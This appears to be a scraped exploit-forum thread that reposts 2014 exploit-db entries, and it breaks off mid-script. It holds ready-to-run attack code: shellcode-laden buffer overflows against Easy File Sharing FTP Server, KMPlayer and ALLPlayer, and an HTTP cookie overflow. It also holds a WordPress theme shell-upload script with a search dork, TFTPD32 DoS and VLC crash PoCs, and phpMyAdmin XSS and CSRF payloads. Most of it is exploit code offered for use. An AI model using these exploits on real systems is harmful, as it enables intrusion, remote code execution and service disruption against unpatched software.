"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +
"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +
"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +
"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +
"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +
"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +
"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +
"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +
"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +
"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +
"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +
"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +
"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +
"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +
"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +
"\xa5\x59\x50")
  
payload=junk0 + call_edx + junk1 + ppr + crafted_jmp_esp + test_bl + kungfu + nopsled + shellcode
  
buf="GET /vfolder.ghp HTTP/1.1\r\n"
buf+="User-Agent: Mozilla/4.0\r\n"
buf+="Host:" + host + ":" + str(port) + "\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buf+="Accept-Language: en-us\r\n"
buf+="Accept-Encoding: gzip, deflate\r\n"
buf+="Referer: http://" + host + "/\r\n"
buf+="Cookie: SESSIONID=1337; UserID=" + payload + "; PassWD=;\r\n"
buf+="Conection: Keep-Alive\r\n\r\n"
  
  
print "[*] Connecting to Host " + host + "..."
  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((host, port))
    print "[*] Connected to " + host + "!"
except:
    print "[!] " + host + " didn't respond\n"
    sys.exit(0)
      
print "[*] Sending malformed request..."
s.send(buf)
  
print "[!] Exploit has been sent!\n"
s.close()
Easy File Sharing FTP Server 3.5
ID: 67686ba3b4103b69df379d47
Thread ID: 25234
Created: 2014-06-02T14:56:50+0000
Last Post: 2014-06-02T14:56:50+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/env python
# Exploit Title: Easy File Sharing FTP Server 3.5 stack buffer overflow
# Date: 27 May 2014
# Exploit Author: superkojiman - http://www.techorganic.com
# Vulnerability discovered by: h07
# CVE: CVE-2006-3952
# OSVDB: 27646
# Vendor Homepage: http://www.efssoft.com
# Software Link: http://www.efssoft.com/ftpserver.htm
# Version: 3.5
# Tested on: Windows 8.1 Enterprise , English
#          : Windows 7 Enterprise SP1, English
#          : Windows XP SP3, English
#
# Description:
# A buffer overflow is triggered when when a large password is sent to the
# server.
#
# h07 found this bug in 2006, targetting EFS FTP Server 2.0. The original
# exploits relied on OS DLLs to reference a pop/pop/retn address to leverage a
# SEH attack. This was a bit unreliable as different versions of Windows would
# have different addresses and the exploit would need to be modified with the
# correct pop/pop/retn address.
#
# Fast forward to 2014. EFS FTP Server is now at version 3.5 (2012) and
# includes new features, such as SSL support. Ironically, by adding SSL
# support, they've given us a reliable pop/pop/retn address in the included
# SSLEAY32.DLL! This exploit should work reliably with any Windows release.
  
  
import socket
import struct
  
# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)
  
payload = "\x2c"
payload += "A"*2559
payload += "\xeb\x19\x90\x90"               # jmp to nop sled + shellcode
payload += struct.pack("<I", 0x10017F21)    # pop/pop/ret, SSLEAY32.DLL
payload += "\x90"*30
payload += shellcode
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.130", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + "\r\n")
s.recv(1024)
s.close()
Wordpress Theme Photocrati-theme-v4.07
ID: 67686ba3b4103b69df379d48
Thread ID: 25188
Created: 2014-05-15T09:29:05+0000
Last Post: 2014-05-15T09:29:05+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

############################################################################
 
# Title : Wordpress Theme Photocrati-theme-v4.07 Shell Upload Vulnerability   
 
# Author : Aloulou                                             
 
# Date : 13/05/2014                                                    
 
# Facebook : http://www.facebook.com/Aloulou.TN                               
 
# Email: aloulou@alquds.com
 
# Vendor : www.photocrati.com                                                       
 
# Google Dork inurl:/wp-content/themes/photocrati-theme-v4.07/
 
# Tested on : Linux                       
 
 
############################################################################
 
 
 
Exploit:
 
<?php
   
$uploadfile="shell.php";
$ch = curl_init("http://127.0.0.1/wp-content/themes/photocrati-theme-v4.07/admin/scripts/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
              array('Filedata'=>"@$uploadfile",'folder'=>'/admin/scripts/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
  print "$postResult";
?>
 
ShellAccess:
 
    http://127.0.0.1/wp-content/themes/photocrati-theme-v4.07/admin/scripts/shell.php
 
Demo:http://www.tanguygilson.com
 
# Greeting to : Tunisia ,  CyberPink , Brikovich , Anonboy
 
 
############################################################################
 
# 2935E278AA2F72DF   1337day.com [2014-05-15]   0E88B39FD8DD85B4 #
TFTPD32 4.5 / TFTPD64 4.5 - DoS PoC
ID: 67686ba3b4103b69df379d49
Thread ID: 25187
Created: 2014-05-14T14:05:13+0000
Last Post: 2014-05-14T14:05:13+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Code:Copy to clipboard

# Exploit Title: TFTPD32 4.5 / TFTPD64 4.5 DoS poc
# Date: 13/05/2014
# Exploit Author: j0s3h4x0r
# Homepage: http://tftpd32.jounin.net/tftpd32_testimonials.html
# Software Link: http://tftpd32.jounin.net/download/tftpd32.450.zip
# Version: 4.5 32 bits / 4.5 64 bits
# Tested on: [Windows 7 x64]
 
#this proof of concept code will crash tftpd32 and tftpd64
#you can try changing $j and $i loop limits
#most of the times EIP reaches 0x2E373231 == "127." or any string contained in tftpd32 error logs
#and sometimes EIP reaches addresses similar to 0x00013200 so Remote Code Execution may be possible using some form of heap-spray
 
## Exploit-DB Note: $j=5, $i=2500 caused a crash.
 
 
 
#!/usr/bin/perl -w
 
use IO::Socket;
 
for (my $j = 0; $j < 2; $j++)
{
    sleep(2);
    for (my $i = 0; $i < 1500; $i++)
    {
        $st_socket = IO::Socket::INET->new(Proto=>'udp', PeerAddr=>'127.0.0.1', PeerPort=>69) or die "connect error";
     
        $p_c_buffer = "\x0c\x0d" x 10;
     
        print $st_socket $p_c_buffer;
     
        close($st_socket);
 
        print "sent " . $i . "\n";
    }
}
 
exit;

Источник:http://www.exploit-db.com/exploits/33348/

VLC Player 2.1.3 Memory Corruption
ID: 67686ba3b4103b69df379d4a
Thread ID: 25180
Created: 2014-05-10T07:41:33+0000
Last Post: 2014-05-10T07:41:33+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

VLC Player version 2.1.3 suffers from a memory corruption vulnerability.

Click to expand...

Code:Copy to clipboard

# Exploit Title: [VLCplayer memory corruption in latest Version 2.1.3 ]
# Date: [2014/05/07]
# Exploit Author: [Aryan Bayaninejad]
# Linkedin : [https://www.linkedin.com/profile/view?id=276969082]
# Vendor Homepage: [www.videolan.org]
# Software Link: [
http://filehippo.com/download_vlc_32/download/b39c14a9f03cb9cf32eb01b1123b97bf/
]
# Version: [Version 2.1.3 and prior to that]
# Tested on: [Windows Xp Sp 3 x86]
# CVE : [2014-3441]

details:

VLCplayer latest version V 2.1.3 suffers from an  memory corruption
Vulnerability via  a malformed .png file format when load
codec\libpng_plugin.dll, you can change file extention to .wave


Poc:

#!/usr/bin/python
data =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x7F\xFF\xFF\xFF\x00\x00\x01\x02\x01\x03\x00\x00\x00\xBA\x1B\xD8\x84\x00\x00\x00\x03\x50\x4C\x54\x45\xFF\xFF\xFF\xA7\xC4\x1B\xC8\x00\x00\x00\x01\x74\x52\x4E\x53\x00\x40\xE6\xD8\x66\x00\x68\x92\x01\x49\x44\x41\x54\xFF\x05\x3A\x92\x65\x41\x71\x68\x42\x49\x45\x4E\x44\xAE\x42\x60\x82"
outfile = file("poc.wave", 'wb')
outfile.write(data)
outfile.close()
print "Created Poc"





windbg result:


Microsoft (R) Windows Debugger Version 6.2.9200.16384 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "C:\Program Files\VideoLAN\VLC\vlc.exe"
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path.           *
* Use .symfix to have the debugger choose a symbol path.                   *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
ModLoad: 00400000 00426000   image00400000
ModLoad: 7c900000 7c9af000   ntdll.dll
ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 6a300000 6a324000   C:\Program Files\VideoLAN\VLC\libvlc.dll
ModLoad: 6a540000 6a791000   C:\Program Files\VideoLAN\VLC\libvlccore.dll
ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f02000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.DLL
ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\WINMM.DLL
ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 76bf0000 76bfb000   C:\WINDOWS\system32\PSAPI.DLL
ModLoad: 771b0000 7725a000   C:\WINDOWS\system32\WININET.DLL
ModLoad: 77a80000 77b15000   C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 77b20000 77b32000   C:\WINDOWS\system32\MSASN1.dll
ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 774e0000 7761d000   C:\WINDOWS\system32\ole32.dll
(250.c1c): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
ntdll.dll -
eax=00351eb4 ebx=7ffde000 ecx=00000006 edx=00000040 esi=00351f48
edi=00351eb4
eip=7c90120e esp=0022fb20 ebp=0022fc94 iopl=0         nv up ei pl nz na po
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000> g
ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
ModLoad: 629c0000 629c9000   C:\WINDOWS\system32\LPK.DLL
ModLoad: 74d90000 74dfb000   C:\WINDOWS\system32\USP10.dll
ModLoad: 773d0000 774d3000
C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
ModLoad: 5ad70000 5ada8000   C:\WINDOWS\system32\uxtheme.dll
ModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dll
ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\version.dll
ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
ModLoad: 10000000 10008000   C:\Program Files\Internet Download
Manager\idmmkb.dll
ModLoad: 64fc0000 65008000   C:\Program
Files\VideoLAN\VLC\plugins\access\libdshow_plugin.dll
ModLoad: 6aac0000 6aacf000   C:\Program
Files\VideoLAN\VLC\plugins\audio_output\libdirectsound_plugin.dll
ModLoad: 6e980000 6e990000   C:\Program
Files\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll
ModLoad: 6a100000 6a119000   C:\Program
Files\VideoLAN\VLC\plugins\video_output\libdirectdraw_plugin.dll
ModLoad: 6c400000 6c5f6000   C:\Program
Files\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll
ModLoad: 68740000 68760000   C:\Program
Files\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll
ModLoad: 6f440000 6f483000   C:\Program
Files\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll
ModLoad: 6b840000 6b85b000   C:\Program
Files\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll
ModLoad: 6f100000 6f114000   C:\Program
Files\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll
ModLoad: 68bc0000 68bd7000   C:\Program
Files\VideoLAN\VLC\plugins\stream_filter\libsmooth_plugin.dll
ModLoad: 64a00000 64a8b000   C:\Program
Files\VideoLAN\VLC\plugins\stream_filter\libhttplive_plugin.dll
ModLoad: 70680000 70736000   C:\Program
Files\VideoLAN\VLC\plugins\stream_filter\libdash_plugin.dll
ModLoad: 6ae40000 6ae64000   C:\Program
Files\VideoLAN\VLC\plugins\access\libzip_plugin.dll
ModLoad: 69e40000 69e52000   C:\Program
Files\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll
ModLoad: 6d700000 6d70c000   C:\Program
Files\VideoLAN\VLC\plugins\stream_filter\librecord_plugin.dll
ModLoad: 70240000 70267000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll
ModLoad: 6cd00000 6ce7a000   C:\Program
Files\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll
ModLoad: 66040000 66090000   C:\Program
Files\VideoLAN\VLC\plugins\lua\liblua_plugin.dll
ModLoad: 625c0000 626f9000   C:\Program
Files\VideoLAN\VLC\plugins\misc\libxml_plugin.dll
ModLoad: 73f10000 73f6c000   C:\WINDOWS\system32\DSOUND.DLL
ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\VERSION.dll
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
ModLoad: 76c30000 76c5e000   C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c90000 76cb8000   C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
ModLoad: 72d20000 72d29000   C:\WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
ModLoad: 72d20000 72d29000   C:\WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
ModLoad: 72d20000 72d29000   C:\WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
ModLoad: 72d20000 72d29000   C:\WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
ModLoad: 72d20000 72d29000   C:\WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
ModLoad: 72d10000 72d18000   C:\WINDOWS\system32\msacm32.drv
ModLoad: 77be0000 77bf5000   C:\WINDOWS\system32\MSACM32.dll
ModLoad: 77bd0000 77bd7000   C:\WINDOWS\system32\midimap.dll
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\setupapi.dll
ModLoad: 6ff40000 6ff55000   C:\Program
Files\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll
ModLoad: 6e180000 6e191000   C:\Program
Files\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll
main libvlc: Running vlc with the default interface. Use 'cvlc' to use vlc
without interface.
ModLoad: 68e80000 6992e000   C:\Program
Files\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll
ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\COMDLG32.DLL
ModLoad: 73000000 73026000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 71ad0000 71ad9000   C:\WINDOWS\system32\WSOCK32.DLL
ModLoad: 769c0000 76a74000   C:\WINDOWS\system32\userenv.dll
ModLoad: 01a20000 01ce5000   C:\WINDOWS\system32\xpsp2res.dll
ModLoad: 5d090000 5d12a000   C:\WINDOWS\system32\comctl32.dll
ModLoad: 76360000 76370000   C:\WINDOWS\system32\winsta.dll
ModLoad: 5b860000 5b8b5000   C:\WINDOWS\system32\NETAPI32.dll
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\SETUPAPI.dll
ModLoad: 6d6c0000 6d6f7000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
ModLoad: 6e040000 6e05e000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
ModLoad: 68440000 68458000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
ModLoad: 6c380000 6c39b000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll
ModLoad: 6ef40000 6ef4e000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libes_plugin.dll
es demux error: cannot peek
es demux error: cannot peek
ModLoad: 011e0000 011fa000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll
ModLoad: 6c2c0000 6c2cd000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libtta_plugin.dll
ModLoad: 62380000 6238e000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll
ModLoad: 67e00000 67e0d000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libwav_plugin.dll
ModLoad: 03610000 036fc000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libsid_plugin.dll
ModLoad: 6bf40000 6bf65000   C:\Program
Files\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll
ModLoad: 6f8c0000 6f8eb000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libogg_plugin.dll
ModLoad: 6a840000 6a96f000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll
ModLoad: 70b00000 70b0c000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll
ModLoad: 6d8c0000 6d97b000   C:\Program
Files\VideoLAN\VLC\plugins\access\liblive555_plugin.dll
ModLoad: 64740000 6474d000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll
ModLoad: 6cbc0000 6cbcd000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libpva_plugin.dll
ModLoad: 65300000 6530c000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libxa_plugin.dll
ModLoad: 67500000 6750d000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll
ModLoad: 6ce80000 6ce8d000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll
ModLoad: 6fec0000 6fecc000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libau_plugin.dll
ModLoad: 6b500000 6b56d000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libgme_plugin.dll
ModLoad: 65280000 6528d000   C:\Program
Files\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll
ModLoad: 6c940000 6c94e000   C:\Program
Files\VideoLAN\VLC\plugins\demux\libimage_plugin.dll
ModLoad: 683c0000 6840f000   C:\Program
Files\VideoLAN\VLC\plugins\codec\libpng_plugin.dll
(250.b14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\WINDOWS\system32\msvcrt.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Program Files\VideoLAN\VLC\plugins\codec\libpng_plugin.dll -
eax=00000000 ebx=018dee98 ecx=03ffe8c8 edx=00000000 esi=018ded80
edi=018e5000
eip=77c47631 esp=029ff940 ebp=029ff980 iopl=0         nv up ei pl nz na pe
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00010206
msvcrt!memset+0x41:
77c47631 f3ab            rep stos dword ptr es:[edi]
0:009> .load winext/msec.dll
0:009> !exploitable

!exploitable 1.6.0.0
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Program Files\VideoLAN\VLC\libvlccore.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Program Files\VideoLAN\VLC\plugins\demux\libimage_plugin.dll -
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at
msvcrt!memset+0x0000000000000041 (Hash=0xefdbe58f.0x255f6419)

User mode write access violations that are not near NULL are exploitable.
XAMPP 3.2.1 & phpMyAdmin 4.1.6
ID: 67686ba3b4103b69df379d4b
Thread ID: 25130
Created: 2014-04-08T07:29:06+0000
Last Post: 2014-04-08T07:29:06+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Title: XAMPP 3.2.1 & phpMyAdmin 4.1.6 <= multiple vulnerabilities

Date: 6/04/2014

Author:

Software Link: http://www.apachefriends.org/en/xampp-windows.html

Version: 3.2.1 & 4.1.6

Tested on: Windows 7

CVE : ()

██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████▄ ▓█████ ██████ ██ ▄█▀
▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▒██▀ ██▌▓█ ▀ ▒██ ▒ ██▄█▒
▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒░██ █▌▒███ ░ ▓██▄ ▓███▄░
░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ░▓█▄ ▌▒▓█ ▄ ▒ ██▒▓██ █▄
░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▓ ░▒████▒▒██████▒▒▒██▒ █▄
▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░ ▒▒▓ ▒ ░░ ▒░ ░▒ ▒▓▒ ▒ ░▒ ▒▒ ▓▒
▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ▒ ▒ ░ ░ ░░ ░▒ ░ ░░ ░▒ ▒░
░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░

[#]----------------------------------------------------------------[#]

[x] XAMPP & phpMyAdmin <= 4.1.6 multiple vulnerabilites

[x] Author : Mayank Kapoor(@wHys0SerI0s) Sujoy Chakravarti(@sujoy3188),

Gurjant Singh Sadhra(@GurjantSadhra)

[x] Contact : mayank.kapoor1708@gmail.com, gurjant31@gmail.com,

sujoy3188@gmail.com

[ + ] Download : http://www.apachefriends.org/en/xampp-windows.html

[#]----------------------------------------------------------------[#]

[x] Exploit :

[1] phpMyAdmin is vulnerable to a cross site scripting attack.

The vulnerability exists within the phpMyAdmin module supplied by XAMPP.

1. Cross Site Scripting

In the phpMyAdmin module of the XAMPP application the following urls are

vulnerable to cross site scripting attacks. The "db" parameter can be passed with

{ >"'> } in the url resulting in a

reflected cross site scripting attack. The file "c:\xampp\phpMyAdmin\libraries\db_table_exists.lib.php"

checks if the "db" parameter is a valid database name or not (line

13-18).

if (empty($is_db)) {
if (strlen($db)) {
$is_db = @$GLOBALS['dbi']->selectDb($db);
} else {
$is_db = false;
}

Vulnerable parameter: "db"

http://[host]/phpmyadmin/chk_rel.php?db=>"'><img

src="javascript:alert(311050)">&token=6026d96cfcb8993f744a00809536dc8b&goto=db_operations.php

Multiple URL's afected:

http://[host]/phpmyadmin/db_printview.php
http://[host]/phpmyadmin/index.php
http://[host]/phpmyadmin/pmd_general.php
http://[host]/phpmyadmin/prefs_manage.php
http://[host]/phpmyadmin/server_collations.php
http://[host]/phpmyadmin/server_databases.php
http://[host]/phpmyadmin/server_engines.php
http://[host]/phpmyadmin/server_export.php
http://[host]/phpmyadmin/server_import.php
http://[host]/phpmyadmin/server_privileges.php
http://[host]/phpmyadmin/server_replication.php
http://[host]/phpmyadmin/server_sql.php
http://[host]/phpmyadmin/server_status.php
http://[host]/phpmyadmin/server_variables.php
http://[host]/phpmyadmin/sql.php
http://[host]/phpmyadmin/tbl_create.php

Vulnerable parameter: "table"

Similar to the above mentioned vulnerability, here the "table" parameter

also can be submitted with { >"'> } in the url resulting in a reflected cross site scripting attack.

Multiple URL's afected:

http://[host]/phpmyadmin/tbl_select.php?db=information_schema&token=6026d96cfcb8993f744a00809536dc8b&goto=db_structure.php&table=>"'>#PMAURL-0:tbl_select.php?db=information_schema&table=>"'><img+src="javascript:alert(347790)">&server=1&target=&lang=en&collation_connection=utf8mb4_general_ci&token=529d5dba2f3dd12daf48aa38596e1708

http://[host]/phpmyadmin/tbl_structure.php

2. Cross Site Request Forgery

After installing XAMPP the default password for MySQL is blank with the

default user being "root". In the link "http://localhost/security/xamppsecurity.php" there is an option to change

the MySQL password for the user "root". The form that submits the new

password is not authenticated with a token or any such XSRF protection. The below html page can be sent to the victim,

thus succesfully changing the password to "test@123". This will only work

if the password has never been changed since installation.

Another location in the XAMPP application vulnerable to Cross site

request forgery is the guestbook section <http://localhost/xampp/guestbook- en.pl> .

[http://localhost/xampp/guestbook- en.pl?f_n...pam&f_text=spam](http://localhost/xampp/guestbook- en.pl?f_name=spam&f_email=spam&f_text=spam)

dork: "inurl:xampp/guestbook-en.pl"

[#]----------------------------------------------------------------[#]

#EOF

Click to expand...

Источник:http://www.exploit-db.com/exploits/32721/

KMPlayer 3.8.0.117 Buffer Overflow
ID: 67686ba3b4103b69df379d4d
Thread ID: 25072
Created: 2014-03-10T14:00:19+0000
Last Post: 2014-03-10T14:00:19+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
# KMPlayer 3.8.0.117 Buffer Overflow
# Author: metacom
# Tested on: Windows Xp pro-sp3 En
# Download link :http://www.chip.de/downloads/KMPlayer_33859258.html
# Version: 3.8.0.117 Kmp Plus
# Howto / Notes:
# Run KMPlayer Playlist Editor > New Album and paste Exploit Code
import struct
def little_endian(address):
  return struct.pack("<L",address)
   
 
junk = "\x41" * 250
eip = little_endian(0x7C86467B)   #7C86467B   FFE4  JMP ESP  kernel32.dll        
 
shellcode=(
        "\x31\xC9"                #// xor ecx,ecx        
        "\x51"                    #// push ecx        
        "\x68\x63\x61\x6C\x63"    #// push 0x636c6163        
        "\x54"                    #// push dword ptr esp        
        "\xB8\xC7\x93\xC2\x77"    #// mov eax,0x77c293c7        
        "\xFF\xD0"                #// call eax  
                )
 
exploit = junk + eip + shellcode
try:
    rst= open("crash.txt",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"
 
# 568875DD9D7C3A8E   1337day.com [2014-03-10]   4C925647F73DB920 #
ALLPlayer 5.8.1 - (.m3u file) Buffer Overflow (SEH
ID: 67686ba3b4103b69df379d4e
Thread ID: 25055
Created: 2014-03-04T16:59:05+0000
Last Post: 2014-03-04T16:59:05+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/perl
  
use strict;
use warnings;
  
my $filename = "sploit.m3u";
  
my $junk1 = "\x41" x 301;   # Offset to SEH
my $nSEH  = "\x61\x50";     # POPAD # Venetian padding
my $SEH   = "\x50\x45";     # POP POP RET from ALLPlayer.exe
my $junk2 = "\x42" x 700;
   
my $align = "\x53".         # PUSH EBX
            "\x6e".         # Venetian padding
            "\x58".         # POP EAX
            "\x6e".         # Venetian padding
            "\x05\x14\x11". # ADD EAX,0x11001400
            "\x6e".         # Venetian padding
